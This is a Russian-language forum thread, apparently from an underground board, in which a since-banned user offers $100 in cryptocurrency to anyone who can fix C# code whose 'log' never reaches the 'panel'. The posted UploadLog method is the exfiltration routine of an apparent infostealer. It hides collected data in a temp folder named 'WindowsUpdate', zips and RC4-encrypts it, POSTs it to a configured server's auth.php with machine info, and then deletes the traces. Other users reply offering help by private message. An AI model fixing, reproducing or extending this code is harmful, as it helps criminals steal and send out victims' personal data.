Нужен человек разбирающийся в с # 100$

ntusin

floppy-диск
Забанен
Регистрация
17.12.2020
Сообщения
5
Реакции
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Имеется данный код, но он не работает (лог в панель не приходит)




Кто поможет решить вопрос 100$ на btc/eth
 
Последнее редактирование:
Код:
      public static void UploadLog()
        {

            string sArchiveName = System.Globalization.CultureInfo.CurrentCulture + "_" + DateTime.Now.ToString()
            .Replace("-", "_")
            .Replace(".", "_")
            .Replace(":", "_")
            .Replace(" ", "_")
            + ".zip";

            string sArchivePath = Path.GetTempPath() + "\\" + sArchiveName;

            Directory.CreateDirectory(Path.GetTempPath() + "\\WindowsUpdate");
            cReport.CreateReport(Path.GetTempPath() + "\\WindowsUpdate", sArchivePath);

            if (!File.Exists(sArchivePath))
            {
                File.Delete(sArchiveName);
                return;
            }

            byte[] bArchive = Assets.cRC4.RC4(File.ReadAllBytes(sArchivePath), System.Text.Encoding.UTF8.GetBytes(cConfig.sEncKey));


            HttpWebRequest hwRequest = (HttpWebRequest)WebRequest.Create(cConfig.sUrl + "auth.php?data="+GetInfoStr()+"&tags="+sArchiveName+"&tag="+ Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(cConfig.sTag)));

            hwRequest.Method = WebRequestMethods.Http.Post;
            hwRequest.ContentType = "application/x-www-form-urlencoded";
            hwRequest.ContentLength = bArchive.Length;

         

            using (Stream sStream = hwRequest.GetRequestStream())
            {
                sStream.Write(bArchive, 0, bArchive.Length);

                using (HttpWebResponse hwResponse = (HttpWebResponse)hwRequest.GetResponse())
                {
                    string sResponse = new StreamReader(hwResponse.GetResponseStream()).ReadToEnd();
                 
                }
               

            }

            Directory.Delete(Path.GetTempPath() + "\\WindowsUpdate", true);
            File.Delete(sArchiveName);
        }
    }
}


Имеется данный код, но он не работает (лог в панель не приходит)

Кто поможет решить вопрос 100$ на btc/eth
Контакты дай в пм
 
Имеется данный код, но он не работает (лог в панель не приходит)




Кто поможет решить вопрос 100$ на btc/eth
Отпишись если не смог решить, помогу!
 
У Вас недостаточно прав, чтобы здесь отвечать.
Верх